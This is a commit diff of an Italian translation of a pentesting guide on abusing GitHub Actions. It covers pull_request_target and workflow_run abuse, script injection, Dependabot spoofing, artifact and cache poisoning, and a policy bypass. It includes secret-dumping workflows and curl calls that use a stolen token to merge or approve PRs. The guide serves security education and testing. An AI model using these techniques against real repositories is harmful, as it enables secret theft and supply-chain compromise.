Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

This commit is contained in:
Translator
2025-09-29 21:34:02 +00:00
parent eda2838841
commit aed67c9e33
3 changed files with 420 additions and 251 deletions

View File

@@ -1,56 +1,56 @@
# Abusing Github Actions
# Abuso di Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Tools
## Strumenti
I seguenti strumenti sono utili per trovare i flussi di lavoro di Github Action e persino trovare quelli vulnerabili:
The following tools are useful to find Github Action workflows and even find vulnerable ones:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Controlla anche la sua checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Basic Information
## Informazioni di base
In questa pagina troverai:
- Un **riassunto di tutti gli impatti** di un attaccante che riesce ad accedere a una Github Action
- Modi diversi per **ottenere accesso a un'azione**:
- Avere **permessi** per creare l'azione
- Abusare dei trigger relativi alle **pull request**
- Un **riassunto di tutti gli impatti** che un attaccante può causare ottenendo accesso a una Github Action
- Diverse modalità per **ottenere accesso a un action**:
- Avere i **permessi** per creare l'action
- Abusare dei trigger legati ai **pull request**
- Abusare di **altre tecniche di accesso esterno**
- **Pivotare** da un repo già compromesso
- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un'azione dall'interno** (causando gli impatti menzionati)
- **Pivoting** da un repo già compromesso
- Infine, una sezione sulle **tecniche di post-exploitation per abusare di un action dall'interno** (per causare gli impatti menzionati)
## Impacts Summary
## Sommario degli impatti
Per un'introduzione su [**Github Actions controlla le informazioni di base**](../basic-github-information.md#github-actions).
Per un'introduzione su [**Github Actions consulta le informazioni di base**](../basic-github-information.md#github-actions).
Se puoi **eseguire codice arbitrario in GitHub Actions** all'interno di un **repository**, potresti essere in grado di:
- **Rubare segreti** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
- **Compromettere distribuzioni** e altri **artifacts**.
- Se la pipeline distribuisce o memorizza risorse, potresti alterare il prodotto finale, abilitando un attacco alla catena di fornitura.
- **Eseguire codice in worker personalizzati** per abusare della potenza di calcolo e pivotare verso altri sistemi.
- **Rubare secrets** montati nella pipeline e **abusare dei privilegi della pipeline** per ottenere accesso non autorizzato a piattaforme esterne, come AWS e GCP.
- **Compromettere deployment** e altri **artifacts**.
- Se la pipeline effettua deploy o memorizza asset, potresti alterare il prodotto finale, abilitando un supply chain attack.
- **Eseguire codice in custom workers** per abusare della potenza di calcolo e pivotare verso altri sistemi.
- **Sovrascrivere il codice del repository**, a seconda dei permessi associati al `GITHUB_TOKEN`.
## GITHUB_TOKEN
Questo "**segreto**" (proveniente da `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) viene fornito quando l'amministratore abilita questa opzione:
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
Questo token è lo stesso che una **Github Application utilizzerà**, quindi può accedere agli stessi endpoint: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github dovrebbe rilasciare un [**flow**](https://github.com/github/roadmap/issues/74) che **consente l'accesso cross-repository** all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il `GITHUB_TOKEN`.
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
Puoi vedere i possibili **permessi** di questo token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Nota che il token **scade dopo il completamento del lavoro**.\
Questi token assomigliano a questo: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Nota che il token **scade dopo che il job è terminato**.\
Questi token assomigliano a: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Alcune cose interessanti che puoi fare con questo token:
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-d "{\"commit_title\":\"commit_title\"}"
```
{{#endtab }}
{{#tab name="Approva PR" }}
{{#tab name="Approve PR" }}
```bash
# Approve a PR
curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
{{#tab name="Crea PR" }}
{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Nota che in diverse occasioni potrai trovare **token utente github all'interno delle variabili d'ambiente di Github Actions o nei segreti**. Questi token possono darti più privilegi sul repository e sull'organizzazione.
> Nota che in diverse occasioni potrai trovare **github user tokens inside Github Actions envs or in the secrets**. Questi tokens possono darti più privilegi sul repository e sull'organizzazione.
<details>
<summary>Elenca i segreti nell'output di Github Action</summary>
<summary>Elenca i secrets nell'output di Github Action</summary>
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Ottieni una reverse shell con segreti</summary>
<summary>Ottieni reverse shell con secrets</summary>
```yaml
name: revshell
on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
</details>
È possibile controllare i permessi concessi a un Github Token nei repository di altri utenti **controllando i log** delle azioni:
È possibile verificare i permessi assegnati a un Github Token nei repository di altri utenti **controllando i log** delle actions:
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
## Esecuzione Consentita
## Esecuzione consentita
> [!NOTE]
> Questo sarebbe il modo più semplice per compromettere le azioni di Github, poiché questo caso presuppone che tu abbia accesso per **creare un nuovo repo nell'organizzazione**, o abbia **privilegi di scrittura su un repository**.
> Questo sarebbe il modo più semplice per compromettere Github actions, poiché questo scenario presuppone che tu abbia accesso a **creare un nuovo repo nell'organizzazione**, oppure abbia **privilegi di scrittura su un repository**.
>
> Se ti trovi in questo scenario, puoi semplicemente controllare le [tecniche di Post Exploitation](#post-exploitation-techniques-from-inside-an-action).
> Se ti trovi in questo scenario puoi semplicemente consultare i [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Esecuzione dalla Creazione del Repo
### Esecuzione dalla creazione del repository
Nel caso in cui i membri di un'organizzazione possano **creare nuovi repo** e tu possa eseguire azioni github, puoi **creare un nuovo repo e rubare i segreti impostati a livello di organizzazione**.
Se i membri di un'organizzazione possono **creare nuovi repos** e tu puoi eseguire github actions, puoi **creare un nuovo repo e rubare i secrets impostati a livello di organizzazione**.
### Esecuzione da un Nuovo Branch
### Esecuzione da un nuovo branch
Se puoi **creare un nuovo branch in un repository che contiene già un'azione Github** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'azione dal nuovo branch**. In questo modo puoi **esfiltrare i segreti a livello di repository e organizzazione** (ma devi sapere come si chiamano).
Se puoi **creare un nuovo branch in un repository che contiene già una Github Action** configurata, puoi **modificarla**, **caricare** il contenuto e poi **eseguire quell'action dal nuovo branch**. In questo modo puoi **esfiltrare secrets a livello di repository e organizzazione** (ma devi sapere come si chiamano).
Puoi rendere l'azione modificata eseguibile **manualmente,** quando viene **creato un PR** o quando **alcuni codici vengono caricati** (a seconda di quanto vuoi essere evidente):
> [!WARNING]
> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
Puoi rendere l'action modificata eseguibile **manualmente,** quando viene **creata una PR** o quando viene **pushato del codice** (a seconda di quanto rumore vuoi fare):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
```
---
## Esecuzione Forked
## Esecuzione da fork
> [!NOTE]
> Ci sono diversi trigger che potrebbero consentire a un attaccante di **eseguire un Github Action di un altro repository**. Se quelle azioni attivabili sono configurate male, un attaccante potrebbe essere in grado di comprometterle.
> Ci sono diversi trigger che potrebbero permettere a un attacker di **eseguire una Github Action di un altro repository**. Se quelle action triggerabili sono mal configurate, un attacker potrebbe riuscire a comprometterle.
### `pull_request`
Il trigger del workflow **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la **prima volta** che stai **collaborando**, un **maintainer** dovrà **approvare** l'**esecuzione** del workflow:
Il workflow trigger **`pull_request`** eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: di default, se è la **prima volta** che stai **collaborando**, qualche **maintainer** dovrà **approvare** la **run** del workflow:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Poiché la **limitazione predefinita** è per i **contributori alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi di `pull_request`**.
> Poiché la **limitazione di default** vale per i **contributor alla prima esperienza**, potresti contribuire **correggendo un bug/typo valido** e poi inviare **altre PR per abusare dei tuoi nuovi privilegi `pull_request`**.
>
> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha cancellato il suo account.~~
> **Ho testato questo e non funziona**: ~~Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e cancellare il suo account.~~
Inoltre, per impostazione predefinita **previene i permessi di scrittura** e **l'accesso ai segreti** al repository target come menzionato nella [**documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Inoltre, di default **vengono bloccati i permessi di scrittura** e **l'accesso ai secrets** al repository di destinazione come indicato nei [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> Con l'eccezione di `GITHUB_TOKEN`, **i segreti non vengono passati al runner** quando un workflow è attivato da un repository **forked**. Il **`GITHUB_TOKEN` ha permessi di sola lettura** nelle pull request **da repository forked**.
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
Un attaccante potrebbe modificare la definizione del Github Action per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare segreti o sovrascrivere il repo a causa delle limitazioni menzionate.
Un attacker potrebbe modificare la definizione della Github Action per eseguire comandi arbitrari e aggiungere action arbitrarie. Tuttavia, non sarà in grado di rubare i secrets o sovrascrivere il repo a causa delle limitazioni menzionate.
> [!CAUTION]
> **Sì, se l'attaccante cambia nella PR l'azione github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repository originale!**
> **Sì, se l'attacker cambia nella PR la github action che verrà triggerata, la sua Github Action sarà quella usata e non quella del repo di origine!**
Poiché l'attaccante controlla anche il codice eseguito, anche se non ci sono segreti o permessi di scrittura sul `GITHUB_TOKEN`, un attaccante potrebbe ad esempio **caricare artefatti malevoli**.
Poiché l'attacker controlla anche il codice eseguito, anche se non ci sono secrets o permessi di scrittura sul `GITHUB_TOKEN`, un attacker potrebbe per esempio **uploadare artifacts maligni**.
### **`pull_request_target`**
Il trigger del workflow **`pull_request_target`** ha **permessi di scrittura** al repository target e **accesso ai segreti** (e non richiede permesso).
Il workflow trigger **`pull_request_target`** ha **permessi di scrittura** sul repository di destinazione e **accesso ai secrets** (e non richiede approvazione).
Nota che il trigger del workflow **`pull_request_target`** **viene eseguito nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non attendibile**). Per ulteriori informazioni su `pull_request_target` [**controlla la documentazione**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Inoltre, per ulteriori informazioni su questo specifico uso pericoloso, controlla questo [**post del blog di github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Nota che il workflow trigger **`pull_request_target`** **gira nel contesto base** e non in quello fornito dalla PR (per **non eseguire codice non affidabile**). Per maggiori dettagli su `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Inoltre, per informazioni su questo uso specifico pericoloso consulta questo [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Potrebbe sembrare che poiché il **workflow eseguito** è quello definito nel **base** e **non nella PR**, sia **sicuro** utilizzare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
Potrebbe sembrare che, dato che il **workflow eseguito** è quello definito nella **base** e non in quello della PR, sia **sicuro** usare **`pull_request_target`**, ma ci sono **alcuni casi in cui non lo è**.
E questo avrà **accesso ai segreti**.
E questo avrà **accesso ai secrets**.
### `workflow_run`
Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) consente di eseguire un workflow da un altro quando è `completato`, `richiesto` o `in_progress`.
Il trigger [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permette di eseguire un workflow da un altro quando questo è `completed`, `requested` o `in_progress`.
In questo esempio, un workflow è configurato per essere eseguito dopo che il separato workflow "Esegui Test" è completato:
In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Run Tests" è completato:
```yaml
on:
workflow_run:
@@ -227,31 +230,31 @@ workflows: [Run Tests]
types:
- completed
```
Inoltre, secondo la documentazione: Il workflow avviato dall'evento `workflow_run` è in grado di **accedere ai segreti e scrivere token, anche se il workflow precedente non lo era**.
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
Questo tipo di workflow potrebbe essere attaccato se **dipende** da un **workflow** che può essere **attivato** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice degli attaccanti: `${{ github.event.pull_request.head.sha }}`\
Il secondo consiste nel **passare** un **artifact** dal codice **non attendibile** al workflow **`workflow_run`** e utilizzare il contenuto di questo artifact in un modo che lo rende **vulnerabile a RCE**.
Questo tipo di workflow p essere attaccato se dipende da un **workflow** che può essere **triggered** da un utente esterno tramite **`pull_request`** o **`pull_request_target`**. Un paio di esempi vulnerabili possono essere [**trovati in questo blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability). Il primo consiste nel workflow attivato da **`workflow_run`** che scarica il codice dell'attaccante: `${{ github.event.pull_request.head.sha }}`.
Il secondo consiste nel **passare** un **artifact** dal codice **untrusted** al workflow **`workflow_run`** e usare il contenuto di questo artifact in modo che lo renda **vulnerable to RCE**.
### `workflow_call`
TODO
TODO: Controlla se quando eseguito da un pull_request il codice utilizzato/scaricato è quello dell'origine o da PR forkato
TODO: Verificare se quando eseguito da un `pull_request` il codice usato/scaricato è quello dell'origin o del forked PR
## Abusare dell'Esecuzione Forkata
## Abuso delle esecuzioni da fork
Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un workflow di github, ora diamo un'occhiata a come queste esecuzioni, se configurate male, potrebbero essere abusate:
Abbiamo menzionato tutti i modi in cui un attaccante esterno p riuscire a far eseguire un github workflow; ora vediamo come queste esecuzioni, se configurate in modo errato, possano essere abusate:
### Esecuzione di checkout non attendibile
### Esecuzione di checkout non affidabile
Nel caso di **`pull_request`,** il workflow verrà eseguito nel **contesto del PR** (quindi eseguirà il **codice malevolo del PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request).
Nel caso di **`pull_request`**, il workflow verrà eseguito nel **contesto della PR** (quindi eseguirà il **codice maligno della PR**), ma qualcuno deve **autorizzarlo prima** e verrà eseguito con alcune [limitazioni](#pull_request).
Nel caso di un workflow che utilizza **`pull_request_target` o `workflow_run`** che dipende da un workflow che può essere attivato da **`pull_request_target` o `pull_request`**, il codice del repository originale verrà eseguito, quindi l'**attaccante non può controllare il codice eseguito**.
Nel caso di un workflow che usa **`pull_request_target` or `workflow_run`** e che dipende da un workflow che può essere triggerato da **`pull_request_target` o `pull_request`**, verrà eseguito il codice del repo originale, quindi **l'attaccante non può controllare il codice eseguito**.
> [!CAUTION]
> Tuttavia, se l'**azione** ha un **checkout PR esplicito** che **prende il codice dal PR** (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice del PR viene scaricato):
> Tuttavia, se l'**action** ha un **explicit PR checkout** che **prende il codice dalla PR** (e non dalla base), userà il codice controllato dall'attaccante. Per esempio (controlla la linea 12 dove viene scaricato il codice della PR):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornito solo come esempio.
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
pull_request_target
@@ -279,32 +282,32 @@ message: |
Thank you!
</code></pre>
Il potenziale **codice non attendibile viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i pacchetti referenziati sono controllati dall'autore del PR.
Il codice potenzialmente **untrusted viene eseguito durante `npm install` o `npm build`** poiché gli script di build e i **packages** referenziati sono controllati dall'autore della PR.
> [!WARNING]
> Un dork di github per cercare azioni vulnerabili è: `event.pull_request pull_request_target extension:yml`, tuttavia, ci sono diversi modi per configurare i lavori da eseguire in modo sicuro anche se l'azione è configurata in modo insicuro (come utilizzare condizioni su chi è l'attore che genera il PR).
> Un github dork per cercare action vulnerabili è: `event.pull_request pull_request_target extension:yml`; tuttavia, ci sono diversi modi per configurare i job in modo sicuro anche se l'action è configurata in modo insicuro (ad esempio usando condizionali su chi è l'actor che genera la PR).
### Iniezioni di Script nel Contesto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
Nota che ci sono certi [**contesti github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea il PR. Se l'azione github utilizza quei **dati per eseguire qualsiasi cosa**, potrebbe portare a **esecuzione di codice arbitrario:**
Nota che esistono certi [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) i cui valori sono **controllati** dall'**utente** che crea la PR. Se la github action usa quei **dati per eseguire qualcosa**, ciò potrebbe portare a **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
### **Iniezione di Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Dalla documentazione: Puoi rendere una **variabile di ambiente disponibile per qualsiasi passaggio successivo** in un lavoro di workflow definendo o aggiornando la variabile di ambiente e scrivendo questo nel file di ambiente **`GITHUB_ENV`**.
Dalla documentazione: puoi rendere una **variabile d'ambiente disponibile ai passaggi successivi** in un job del workflow definendo o aggiornando la variabile d'ambiente e scrivendola nel file di ambiente **`GITHUB_ENV`**.
Se un attaccante potesse **iniettare qualsiasi valore** all'interno di questa variabile **env**, potrebbe iniettare variabili di ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
Se un attaccante potesse **iniettare qualsiasi valore** in questa variabile di ambiente, potrebbe inserire variabili d'ambiente che potrebbero eseguire codice nei passaggi successivi come **LD_PRELOAD** o **NODE_OPTIONS**.
Ad esempio ([**questo**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**questo**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzare il suo contenuto all'interno della variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
Per esempio ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), immagina un workflow che si fida di un artifact caricato per memorizzarne il contenuto nella variabile di ambiente **`GITHUB_ENV`**. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot e altri bot fidati
### Dependabot e altri bot affidabili
Come indicato in [**questo post del blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), diverse organizzazioni hanno un'azione Github che unisce qualsiasi PRR da `dependabot[bot]` come in:
Come indicato in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), molte organizzazioni hanno una Github Action che merge qualsiasi PR da `dependabot[bot]` come in:
```yaml
on: pull_request_target
jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
Qual è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi un PR. Ad esempio:
Questo è un problema perché il campo `github.actor` contiene l'utente che ha causato l'ultimo evento che ha attivato il workflow. E ci sono diversi modi per far sì che l'utente `dependabot[bot]` modifichi una PR. Per esempio:
- Forkare il repository della vittima
- Aggiungere il payload malevolo alla tua copia
- Abilitare Dependabot sul tuo fork aggiungendo una dipendenza obsoleta. Dependabot creerà un branch per correggere la dipendenza con codice malevolo.
- Aprire una Pull Request al repository della vittima da quel branch (il PR sarà creato dall'utente quindi non succederà nulla per ora)
- Poi, l'attaccante torna al PR iniziale che Dependabot ha aperto nel suo fork e esegue `@dependabot recreate`
- Poi, Dependabot esegue alcune azioni in quel branch, che modificano il PR sul repository della vittima, il che rende `dependabot[bot]` l'attore dell'ultimo evento che ha attivato il workflow (e quindi, il workflow viene eseguito).
- Fork del repository vittima
- Aggiungi il payload malevolo alla tua copia
- Abilita Dependabot sul tuo fork aggiungendo una dependency obsoleta. Dependabot creerà una branch che sistema la dependency con codice malevolo.
- Apri una Pull Request al repository vittima da quella branch (la PR sarà creata dall'utente quindi non succederà ancora nulla)
- Poi, l'attaccante ritorna alla PR iniziale che Dependabot ha aperto nel suo fork ed esegue `@dependabot recreate`
- Successivamente, Dependabot esegue alcune azioni in quella branch, che modificano la PR sul repository vittima, il che rende `dependabot[bot]` l'actor dell'ultimo evento che ha attivato il workflow (e quindi il workflow viene eseguito).
Passando oltre, cosa succede se invece di unire, l'azione Github avesse un'iniezione di comando come in:
Proseguendo, cosa succede se, invece di un merge, la Github Action contenesse una command injection come in:
```yaml
on: pull_request_target
jobs:
@@ -333,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Bene, il post originale propone due opzioni per abusare di questo comportamento, la seconda è:
Il post originale propone due opzioni per abusare di questo comportamento; quella descritta qui è la seconda:
- Forkare il repository della vittima e abilitare Dependabot con qualche dipendenza obsoleta.
- Creare un nuovo branch con il codice di iniezione di shell malevolo.
- Cambiare il branch predefinito del repo in quello.
- Creare una PR da questo branch al repository della vittima.
- Forkare il repository della vittima e abilitare Dependabot con una dipendenza obsoleta.
- Creare un nuovo branch con il codice malevolo di shell injection.
- Cambiare il branch di default del repo su quello.
- Creare una PR da questo branch verso il repository vittima.
- Eseguire `@dependabot merge` nella PR che Dependabot ha aperto nel suo fork.
- Dependabot unirà le sue modifiche nel branch predefinito del tuo repository forkato, aggiornando la PR nel repository della vittima, rendendo ora `dependabot[bot]` l'attore dell'ultimo evento che ha attivato il workflow e utilizzando un nome di branch malevolo.
- Dependabot unirà i suoi cambiamenti nel branch di default del tuo repository forkato, aggiornando la PR nel repository vittima, facendo ora sì che `dependabot[bot]` sia l'attore dell'ultimo evento che ha attivato il workflow e usando un nome di branch malevolo.
### Github Actions di Terze Parti Vulnerabili
### Github Actions di terze parti vulnerabili
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
Come menzionato in [**questo post del blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action consente di accedere agli artifact da diversi workflow e persino repository.
Come menzionato in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), questa Github Action permette di accedere ad artifact provenienti da workflow diversi e persino da altri repository.
Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere utilizzati o persino eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
Il problema è che se il parametro **`path`** non è impostato, l'artifact viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere poi utilizzati o anche eseguiti nel workflow. Pertanto, se l'Artifact è vulnerabile, un attaccante potrebbe abusarne per compromettere altri workflow che si fidano dell'Artifact.
Esempio di workflow vulnerabile:
```yaml
@@ -373,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
Questo potrebbe essere attaccato con questo flusso di lavoro:
Questo p essere attaccato con il seguente workflow:
```yaml
name: "some workflow"
on: pull_request
@@ -392,25 +395,25 @@ path: ./script.py
## Altri Accessi Esterni
### Hijacking di Namespace Repo Cancellati
### Deleted Namespace Repo Hijacking
Se un account cambia nome, un altro utente potrebbe registrare un account con quel nome dopo un po' di tempo. Se un repository aveva **meno di 100 stelle prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository con lo stesso nome** di quello cancellato.
Se un account cambia il suo nome, un altro utente potrebbe registrare un account con quel nome dopo un certo periodo. Se un repository aveva **meno di 100 stars prima del cambio di nome**, Github permetterà al nuovo utente registrato con lo stesso nome di creare un **repository with the same name** as the one deleted.
> [!CAUTION]
> Quindi, se un'azione sta utilizzando un repo da un account inesistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione.
> Quindi se un action sta usando un repo di un account inesistente, è ancora possibile che un attacker possa creare quell'account e compromise l'action.
Se altri repository stavano utilizzando **dipendenze da questi repo utente**, un attaccante sarà in grado di hijackarli. Qui hai una spiegazione più completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Se altri repository stavano usando **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> In questa sezione parleremo di tecniche che permetterebbero di **pivotare da un repo a un altro** supponendo di avere qualche tipo di accesso al primo (controlla la sezione precedente).
> In questa sezione parleremo di tecniche che permetterebbero di **pivot from one repo to another** supponendo che abbiamo qualche tipo di accesso sul primo (vedi la sezione precedente).
### Cache Poisoning
Una cache è mantenuta tra **le esecuzioni del workflow nella stessa branch**. Ciò significa che se un attaccante **compromette** un **pacchetto** che viene poi memorizzato nella cache e **scaricato** ed eseguito da un **workflow più privilegiato**, sarà in grado di **compromettere** anche quel workflow.
Una cache viene mantenuta tra **wokflow runs in the same branch**. Questo significa che se un attacker **compromise** un **package** che viene poi memorizzato nella cache e **downloaded** ed eseguito da un **more privileged** workflow, sarà in grado di **compromise** anche quel workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -418,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
I workflow potrebbero utilizzare **artifacts da altri workflow e persino repo**. Se un attaccante riesce a **compromettere** l'azione Github che **carica un artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromettere gli altri workflow**:
I workflow possono usare **artifacts from other workflows and even repos**, se un attacker riesce a **compromise** il Github Action che **uploads an artifact** che viene poi utilizzato da un altro workflow, potrebbe **compromise the other workflows**:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
---
## Post Exploitation da un'Azione
## Post Exploitation from an Action
### Accesso a AWS e GCP tramite OIDC
### Github Action Policies Bypass
Controlla le seguenti pagine:
Come commentato in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), anche se un repository o organization ha una policy che restringe l'uso di certe actions, un attacker potrebbe semplicemente fare download (`git clone`) di un action all'interno del workflow e poi referenziarlo come local action. Poiché le policies non influenzano i percorsi locali, **the action will be executed without any restriction.**
Esempio:
```yaml
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
```
### Accesso ad AWS e GCP via OIDC
